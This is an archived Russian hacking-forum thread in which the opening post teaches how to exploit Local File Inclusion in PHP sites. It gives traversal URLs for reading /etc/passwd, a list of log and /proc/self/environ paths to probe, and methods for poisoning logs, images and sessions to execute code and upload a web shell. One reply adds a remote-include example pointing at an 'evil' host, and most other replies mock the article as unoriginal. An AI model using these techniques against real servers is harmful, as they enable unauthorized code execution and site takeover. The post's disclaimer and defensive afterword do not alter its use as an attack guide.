PDA

Просмотр полной версии : Что такое LFI и с чем его едят.


<Cyber-punk>
25.09.2010, 20:06
Что такое LFI и с чем его едят.​


LFI

Иначе говоря,Local File Include.

Внимание! Информация предоставленна, исключительно с целью ознакомления. Автор не несёт ответственность за ваши действия.

Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.

В общем, грубо говоря, мы можем осуществить чтение php-кода (и не только) из файла при наличии LFI.

Мне, да и другим, чаще всего встречается в различных менеджерах файлов.

Специально, под такой случай нашёл наглядный пример:

http://old.keepme.ru/upload/previews/2010/09/25/4d0de2eb9948faa43d0b9815baafb4e9.jpg (http://old.keepme.ru/upload/images/2010/09/25/4d0de2eb9948faa43d0b9815baafb4e9.jpg)

http://server/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00



Как через эту уязвимость залить шеллл?

Обращаемся к одному из лог-файлов:


../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../proc/self/environ
../../../../../../../proc/self/cmdline


У меня это proc/self/environ будет. Обращаемся к лог-файлу - http://server/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../proc/self/environ%00

и видим следующее:

http://old.keepme.ru/upload/previews/2010/09/27/2078fbb04af1808e35276bf9dece9e2e.jpg (http://old.keepme.ru/upload/images/2010/09/27/2078fbb04af1808e35276bf9dece9e2e.jpg)

Особенно уделяем внимание данным которые мы передаём, т. е. USER_AGENT (логируется), ACCEPT_ENCODING(не логируется), etc.

Добавим в эти данные код:

http://old.keepme.ru/upload/previews/2010/09/25/5365fb1cdd9828dfa2de449b62798bb9.jpg (http://old.keepme.ru/upload/images/2010/09/25/5365fb1cdd9828dfa2de449b62798bb9.jpg)

В ответ видим такой ответ:

http://old.keepme.ru/upload/previews/2010/09/25/77a30418b4a1d18e7b100bcc678385a5.jpg (http://old.keepme.ru/upload/images/2010/09/25/77a30418b4a1d18e7b100bcc678385a5.jpg)

Чтож, всё лучше чем мы думаем — исполняется пхп код!

Заливаем наш шелл на народ, чтобы получилась строка — http://site.narod.ru/shell.php

Теперь у нас есть два варианта заливки шелла, исполняем этот пхп код или этот

Далее ждём пока страница загрузится, и переходим по адресуhttp://server/shell.php и наслаждаемся шеллом!

Так же можно попробывать выполнить php код прямо в адрессной строке, но это только при большой везучести.



http://server/index.php?dir=data:,


Это при*

PHP Version => 5.2.0

allow_url_include = On

Так, едем дальше.

Часто возникают вопросы, а как залить шелл в виде картинки. Вот ответ:

Находишь форум, или другой источник откуда можно загрузить файл изображения. Если анализатор хреновый - он пропустит твою картинку с php кодом внутри, затем можешь исполнить код:

http://server/script.php?file=../../../shell.jpg%00

Так, вроде бы с картинками разобрались.

Так же уязвимость может быть в сессии.

Например:

Заходим на уязвимый сайт, пару раз обновляем и смотрим cookies:

http://old.keepme.ru/upload/previews/2010/09/25/d7e1590c44f7ef9d5fc28124fd80d38c.jpg (http://old.keepme.ru/upload/images/2010/09/25/d7e1590c44f7ef9d5fc28124fd80d38c.jpg)

Копируем данные из Content, и делаем такую ядовитую строку, вместе с линуксовой коммандой uname -a:

http://old.keepme.ru/upload/previews/2010/09/25/714cb67c90567637172a9b861ccccbec.jpg (http://old.keepme.ru/upload/images/2010/09/25/714cb67c90567637172a9b861ccccbec.jpg)

Showtime! Команда выполнилась, а это значит — ещё один путь для загрузки шелла!

Послесловие.

По сути эта статья - сборник информации по LFI-injection. Это конечно-же не вся информация о LFI-injection но всё-же надеюсь часть информации,

изложенной здесь, поможет системным администраторам и разработчикам принять меры по защите от таких

уязвимостей.

(с)

mailbrush
25.09.2010, 20:41
Удалите кто-нибудь этот бред...

m0Hze
25.09.2010, 20:53
У меня лишь одно слово - Здорово!!11

Лучшей статьи, где бы так охуенно раскрывалась суть вопроса, я еще не встречал. Автор, срочно в РОА, ну просто срочно!

moodoone
25.09.2010, 20:58
Спасибо! Много узнал!

Redwood
25.09.2010, 21:02
Мягко говоря, статья не о чем.

shell_c0de
25.09.2010, 21:31
0_o мегасупер статья, нет не в РОА там ему делать нечего лучше сразу в МОА ...

P.S /me в шоке =\

547
25.09.2010, 21:38
го в LОА

TheLuckyOne
25.09.2010, 21:40
Уржался с комментов)))

Статью в корзину, новой инфы ни копейки

Sajeys
25.09.2010, 22:56
^^

Kusto
25.09.2010, 23:08
Вобщем я понимаю немного ироничное отношение некоторых наших юзеров с репутацией, одного я понять не могу- откуда ирония в словах у людей из раздела мировых новостей, либо с раздела- купи-продай.... Вот он эффект толпы- на лицо...

Sajeys
25.09.2010, 23:18
Вобщем я понимаю немного ироничное отношение некоторых наших юзеров с репутацией, одного я понять не могу- откуда ирония в словах у людей из раздела мировых новостей, либо с раздела- купи-продай.... Вот он эффект толпы- на лицо...


Если стоит цифра 4, то это значит, что я не соображаю в этом абсолютно ничего?

Kusto
25.09.2010, 23:21
Репутация-не показатель знаний.


Согласен полностью поэтому и залез в темы созданные Вами ну и сообщения заодно просмотрел Надеюсь это показатель? Или что для Вас является показателем?

Скажем так- если циферки в расчет не брать посмотри все сообщения например от Redwood и сравни когда говорил про репутацию- имел именно ввиду такое а не циферки

Sajeys
25.09.2010, 23:28
Согласен полностью
поэтому и залез в темы созданные Вами
ну и сообщения заодно просмотрел
Надеюсь это показатель? Или что для Вас является показателем?
Скажем так- если циферки в расчет не брать посмотри все сообщения например от Redwood и сравни
когда говорил про репутацию- имел именно ввиду такое
а не циферки



То есть если я знаю о чем-то, то я должен в каждом сообщении упоминать об этом?

m0Hze
25.09.2010, 23:29
Вобщем я понимаю немного ироничное отношение некоторых наших юзеров с репутацией, одного я понять не могу- откуда ирония в словах у людей из раздела мировых новостей, либо с раздела- купи-продай.... Вот он эффект толпы- на лицо...


Ну а что тут еще скажешь, достаточно много времени не заходил на форум, после известного инцидента и смены цвета. Как зашел, сразу увидел много лиц в группах(теперь уже опустевших), и многие из "лиц" меня мягко говоря удивили

Ну а уж валовые статьи, которые поперли потом, вызывают у меня просто восторг))) А еще больший восторг, вызывают люди их написавшие, которые несколько месяцев назад сидели в Вопросы по уязв., и задавали вопросы, описаные множество раз в статьях от мемберов. А теперь вот они же пишут свои статьи)

Ех, мне бы минусомет ^_^

Kusto
25.09.2010, 23:47
Ну а уж валовые статьи, которые поперли потом, вызывают у меня просто восторг))) А еще больший восторг, вызывают люди их написавшие, которые несколько месяцев назад сидели в Вопросы по уязв., и задавали вопросы, описаные множество раз в статьях от мемберов. А теперь вот они же пишут свои статьи)
Ех, мне бы минусомет ^_^


Мохзе- я думаю что на форуме найдется мало людей которые бы относились к тебе без уважения (это не ирония), никто не оспаривает твоих знаний, и еслиб не инциндент, как ты выразился, твой ник быстро бы менял окраску, но здесь дело в том что например ТС изложил материал так как его понимает сам, на сегодняшний момент, я бы считал статью удавшейся еслиб пошли коменты, где неправ ТС, либо дополнения по теме, а здесь получается что мы даем по рукам творчеству , х.з. мне это показалось не правильным отсюда и мои каменты , всетаки лучше чем вон в соседней теме люди с утра уже яндекс хекают ещеб чуть чуть и им бы это удалось

DCrypt
26.09.2010, 01:23
Вы все оффтоперы и перебанить Вас всех надо.

Vitya_ak
26.09.2010, 08:53
Статья шик, я люблю паблики)))))

Expl0ited
26.09.2010, 14:13
В общем, грубо говоря, мы можем осуществить чтение php-кода (и не только) из файла при наличии LFI.


вообще-то грубо говоря, LFI представляет из себя подключение любого файла на сервере к вызываемому файлу. Что делит LFI на две ветки, либо выполнение содержимого подключаемого файла, либо чтение содержимого подключаемого файла.

И вообще в статье нет упоминания про ограничения, про возможности и про сложности при работе с LFI.

А вот это вот:


http://server/index.php?dir=data:,
Это при*
PHP Version => 5.2.0
allow_url_include = On


уже выходит за рамки LFI так как при allow_url_include = On можно спокойно подключить свой файл из внешнего сервера: vuln.php?targe=http://evil/shell.php?

На мой взгляд тут: http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

всё что нужно знать, есть.

TheLuckyOne
26.09.2010, 15:32
2Kusto

Но ведь факт, ничего нового не открыл. Оформление на момент прочтения мной было ужасным. Информативность тоже можно выделить в отдельную категорию. Комментарии с мнениями ~"вот блин толпа" тоже комментарии толпы, которая в свою очередь мнит себя выше.

Пардон за оффтоп.

Twoster
26.09.2010, 21:43
Протев!

Статья понравилась! Молодец ТС!

Welemir
27.09.2010, 01:55
Бля,у вас что,традиция чтоли каждый год про лфи и рфи писать ? Загадили уже все форумы боянами.

Unknown
27.09.2010, 20:11
Статья гамно, по другому выразится не смог.И да,

/showpost.php?p=2350192&postcount=22

Статья наверно тоже откуда-то содрана.

wkar
27.09.2010, 22:16
Если уж затирать сайт, то нужно затирать все( 2ой скрин)

ПС

Ничего нового не узнал..

<Cyber-punk>
27.09.2010, 22:21
Если уж затирать сайт, то нужно затирать все( 2ой скрин)
ПС
Ничего нового не узнал..


Пофиг.

Затёр, хотя уже не важно в разделе php-injections все сайты и так висят.